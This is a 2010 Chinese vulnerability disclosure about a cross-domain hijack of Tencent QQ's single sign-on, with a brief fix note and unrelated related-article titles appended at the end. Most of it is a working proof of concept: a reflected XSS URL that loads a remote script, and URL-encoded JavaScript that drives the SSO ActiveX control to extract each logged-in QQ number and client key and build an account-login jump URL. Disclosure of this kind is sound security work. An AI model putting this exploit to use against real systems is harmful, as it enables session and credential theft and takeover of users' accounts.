漏洞详情

披露状态:

2010-07-27: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-11: 细节向核心白帽子及相关领域专家公开
1970-01-21: 细节向普通白帽子公开
1970-01-31: 细节向实习白帽子公开
2010-08-26: 细节向公众公开

简要描述:

腾讯单点登录系统在安全架构上存在安全缺陷,黑客可以轻易通过一些漏洞跨域劫持单点登录系统,从而获取客户端QQ所有相关服务的权限。

详细说明:

QQ的快速登录插件的信任域是xui.ptlogin2.qq.com,其单点登录页面存在一个跨域设置document.domain='qq.com',通过其他*.qq.com下的WEB应用能够注入脚本到信任域xui.ptlogin2.qq.com,从而操作快速登录插件盗取用户的密钥。

漏洞证明:

随便找QQ分站的一个XSS漏洞即可攻击。
1.通过XSS漏洞注入远程的攻击脚本 http://127.0.0.1/xss.js
http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>
2.快速登录插件攻击测试脚本XSS.JS

window.name = 'function%20clientkey%28%29%7B%0D%0A%20%20%20%20var%20q_hummerQtrl%20%3D%20new%20ActiveXObject%28%22SSOAxCtrlForPTLogin.SSOForPTLogin2%22%29%3B%0D%0A%20%20%20%20var%20A%20%3D%20q_hummerQtrl.CreateTXSSOData%28%29%3B%0D%0A%20%20%20%20q_hummerQtrl.InitSSOFPTCtrl%280%2C%20A%29%3B%0D%0A%20%20%20%20var%20g_vOptData%20%3D%20q_hummerQtrl.CreateTXSSOData%28%29%3B%0D%0A%20%20%20%20var%20q_aUinList%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20function%20hummer_loaduin%28%29%7B%0D%0A%20%20%20%20%20%20%20%20q_aUinList.length%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20var%20Q%20%3D%20q_hummerQtrl.DoOperation%281%2C%20g_vOptData%29%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28null%20%3D%3D%20Q%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20N%20%3D%20Q.GetArray%28%22PTALIST%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20U%20%3D%20N.GetSize%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20P%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20for%20%28var%20V%20%3D%200%3B%20V%20%3C%20U%3B%20V++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20C%20%3D%20N.GetData%28V%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20S%20%3D%20C.GetDWord%28%22dwSSO_Account_dwAccountUin%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20G%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20T%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20G%20%3D%20C.GetArray%28%22SSO_Account_AccountValueList%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20T%20%3D%20G.GetStr%280%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20T%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20L%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20L%20%3D%20C.GetWord%28%22wSSO_Account_wFaceIndex%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20L%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20M%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20M%20%3D%20C.GetStr%28%22strSSO_Account_strNickName%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20M%20%3D%20%22%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20J%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20J%20%3D%20C.GetByte%28%22cSSO_Account_cGender%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20J%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20K%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20K%20%3D%20C.GetDWord%28%22dwSSO_Account_dwUinFlag%22%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20K%20%3D%200%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20D%20%3D%20C.GetBuf%28%22bufGTKey_PTLOGIN%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20E%20%3D%20C.GetBuf%28%22bufST_PTLOGIN%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20I%20%3D%20%22%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20A%20%3D%20E.GetSize%28%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20for%20%28var%20O%20%3D%200%3B%20O%20%3C%20A%3B%20O++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20B%20%3D%20E.GetAt%28O%29.toString%28%2216%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28B.length%20%3D%3D%201%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20B%20%3D%20%220%22%20+%20B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20I%20+%3D%20B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20H%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20uin%3A%20S%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20T%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20face%3A%20L%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20nick%3A%20M%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20gender%3A%20J%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20key%3A%20I%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20q_aUinList%5BV%5D%20%3D%20H%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%20%0D%0A%20%20%20%20%20%20%20%20catch%20%28R%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20hummer_loaduin%28%29%3B%0D%0A%20%20%20%20var%20str%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20q_aUinList.length%3B%20i++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20str.push%28q_aUinList%5Bi%5D.uin%20+%20%22%2C%22%20+%20q_aUinList%5Bi%5D.key%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20str%20%3D%20str.join%28%22%7C%22%29%3B%0D%0A%20%20%20%20return%20str%3B%0D%0A%7D%0D%0A%0D%0A//alert%28clientkey%28%29%29%0D%0A%0D%0Avar%20q_ver%20%3D%20%5B%5D%3B%0D%0Ak_tmp%20%3D%20clientkey%28%29.split%28%22%7C%22%29%0D%0Afor%20%28var%20k%20%3D%200%3B%20k%20%3C%20k_tmp.length%3B%20k++%29%20%7B%0D%0A%20%20%20%20k2%20%3D%20k_tmp%5Bk%5D.split%28%22%2C%22%29%3B%0D%0A%20%20%20%20qq%20%3D%20k2%5B0%5D%3B%0D%0A%20%20%20%20ck%20%3D%20k2%5B1%5D%3B%0D%0A%20%20%20%20for%20%28var%20j%20%3D%200%3B%20j%20%3C%20k2.length%3B%20j++%29%20%7B%0D%0A%20%20%20%20%20%20%20%20q_ver.push%28k2%5Bj%5D%29%0D%0A%20%20%20%20%7D%0D%0A%7D%0D%0Aq_ver%20%3D%20q_ver.join%28%22%5Cr%5Cn%22%29%3B%0D%0A%0D%0AsetTimeout%28function%28%29%7B%0D%0A%20%20%20%20document.write%28%27QQ%20%26%20ClientKey%3A%3Cbr%3E%3Cbr%3E%27%20+%20%27%3CTEXTAREA%20NAME%3D%22output%22%20style%3D%22width%3A60%25%3B%20height%3A%20150px%3B%22%20class%3D%22textbox%22%3E%27%20+%20q_ver%20+%20%27%3C%5C/TEXTAREA%3E%3Cbr%3E%3Cbr%3EQQ%20Clientkey%20Url%3A%3Cbr%3E%3Cbr%3E%27%20+%20%27%3CTEXTAREA%20NAME%3D%22output%22%20style%3D%22width%3A60%25%3B%20height%3A%20150px%3B%22%20class%3D%22textbox%22%3E%27%20+%20%27http%3A//ptlogin2.qq.com/jump%3Fclientuin%3D%27%20+%20qq%20+%20%27%26clientkey%3D%27%20+%20ck%20+%20%27%26keyindex%3D9%26u1%3Dhttp%3A//pay.qq.com%3C%5C/TEXTAREA%3E%27%29%0D%0A%7D%2C%201000%29%3B'
window.onload =function(){
document.write("<script>alert(document.domain=\'qq.com\')<\/script><a href=\"javascript:x=window.open(\'http://xui.ptlogin2.qq.com/cgi-bin/login?appid=1&s_url=http://360.cn\');setTimeout(function(){x.eval(unescape(window.name))},2000);void(1)\">cross domain fuck qq client key!!!<\/a>")
}

修复方案:

和开发人员沟通,彻底清查快速登录服务应用是否添加了不安全的跨域设置或其他危险的信任域。

版权声明:转载请注明来源 rayh4c@乌云

腾讯单点登录系统跨域劫持漏洞相关推荐

  1. 用户模块跳转、sso单点登录、跨域访问

    一.实现用户模块跳转 1.需求说明 说明:当用户点击登录/注册按钮时 需要跳转到指定的页面中. url地址1.:http://www.jt.com/user/register.html url地址2: ...

  2. jsonp跨域实现单点登录,跨域传递用户信息以及保存cookie注意事项

    网站A:代码:网站a的login.html页面刷新,使用jsonp方式将信息传递给b.com的login.php中去,只需要在b.com中设置一下跨域以及接收参数,然后存到cookei即可, 注意:网 ...

  3. SSO单点登录、跨域重定向、跨域设置Cookie、京东单点登录实例分析

    最近在研究SSO单点登录技术,其中有一种就是通过js的跨域设置cookie来达到单点登录目的的,下面就已京东商城为例来解释下跨域设置cookie的过程 涉及的关键知识点: 1.jQuery ajax跨 ...

  4. php跨域单点登录,SSO单点登录、跨域重定向、跨域设置Cookie、京东单点登录实例分析...

    SSO单点登录技术,其中有一种就是通过js的跨域设置cookie来达到单点登录目的的,下面就已京东商城为例来解释下跨域设置cookie的过程 涉及的关键知识点: 1. 跨域redirect实例: te ...

  5. SSO单点登录之跨域问题

    第一次写博客,与大家共勉. 这里用到的原理其实非常简单,将cookie存在一个公共的站点的页面上就可以了,这里我们管那个站点叫主站S. 先说说所谓的跨域 环境1:a.xxx.com需要跟b.xxx.c ...

  6. 前端跨域请求get_(单点登录)跨域SSO看这篇文章就够了:前端篇

    前言 前俩篇文章,我们从概念,聊到了服务器中设计的内容.不知道大家是否觉得通俗易懂呢? 接下来的内容则有些偏向前端部分. 正文 三.Cookie传递 3.1.通过URL参数实现跨域信息传递 我们要在A ...

  7. 单点登录有关跨域的点

    跨域问题出现的原因:js的同源问题导致的,跨域可以请求但是返回值不被浏览器解析. 解决思路:jsonp方式,把结果通过构造函数的方式把数据以get绑定到url后发送给浏览器,视图层在URL截取数据,动 ...

  8. 单点登录系统(SSO)的开发思路

    单点登录系统的类别:       就目前比较流行的应用来看,单点登录系统主要分为三种类型:一种是基于oauth协议的网络令牌(我是这么叫的),一种是基于Web Service或者简单Http协议实现的 ...

  9. 手撕一套sso(单点登录)系统之原理篇1

    在手撕之前,你首先要了解一些原理,我写的案例成品可以访问zauth,语言是Java8. 目录 1.关于Http 2.用户信息怎么存?存什么?存在哪? 2.1 使用前端存储技术Storage或index ...

  10. 【SSO】单点登录系统实现

    一.前言 小编在前一篇博客中向大家介绍了使用单点登录的演变过程,最后一步的时候小编向大家展示了分布式架构.其中就用到了单点登录系统.这篇博客继续接上一篇博客,实现一下单点登录系统. 二.环境准备 Ec ...

最新文章

  1. 无惧隐私泄露,企业修炼“看不见的数据圣手”
  2. 科大星云诗社动态20210314
  3. Amazon DynamoDB 概览
  4. 如何使用ABBYY FineReader 12将JPEG文件转换成Word文档
  5. HTTPS 路径配置
  6. Python第一天学习---基础语法
  7. 小程序 Typescript 最佳实践
  8. 五、华为鸿蒙HarmonyOS应用开发之Java开发模式下的同一个 Page 里实现页面跳转时无参(有参)传递、回值详解
  9. 如何使用sklearn进行数据挖掘
  10. RAID简单介绍和Linux如何搭建一个RAID
  11. 古建筑测绘任重道远,三维实景建模是唯一突破口?
  12. hdu2203java_HDU2203(KMP入门题)
  13. 30天自制操作系统(day10)
  14. 利益相关者软件工程_吸引组织的各个利益相关者的4种方法
  15. 计算机组成与结构——概述
  16. [ChromeApp]指南!让你的谷歌浏览器好用十倍!
  17. Blender 2.9
  18. 如何在Ubuntu Server系统下启用第二路网络的操作演示
  19. 基于SSM+MYSQL实现在线教材预约管理系统
  20. 真实的智能是包含矛盾的

热门文章

  1. KafkaStream之时间窗口WindowBy
  2. 32-【算法与数据结构】伪代码与流程图
  3. [分享解决]你的支付授权失败。请核对你的信息并重试,或尝试其他支付方式。请联系你的银行了解更多信息
  4. unity blend混合
  5. java vo的使用_使用VO传递参数的设计 | 学步园
  6. Linux文件管理小测试
  7. Java:打包成jar包
  8. 计算机文档的标志不见了,我的文档图标不见了怎么办【解决方法】
  9. 苹果手机屏幕尺寸_Apple 苹果 iPhone SE2智能手机屏幕测评报告 「Soomal」
  10. vue单页面应用项目优化总结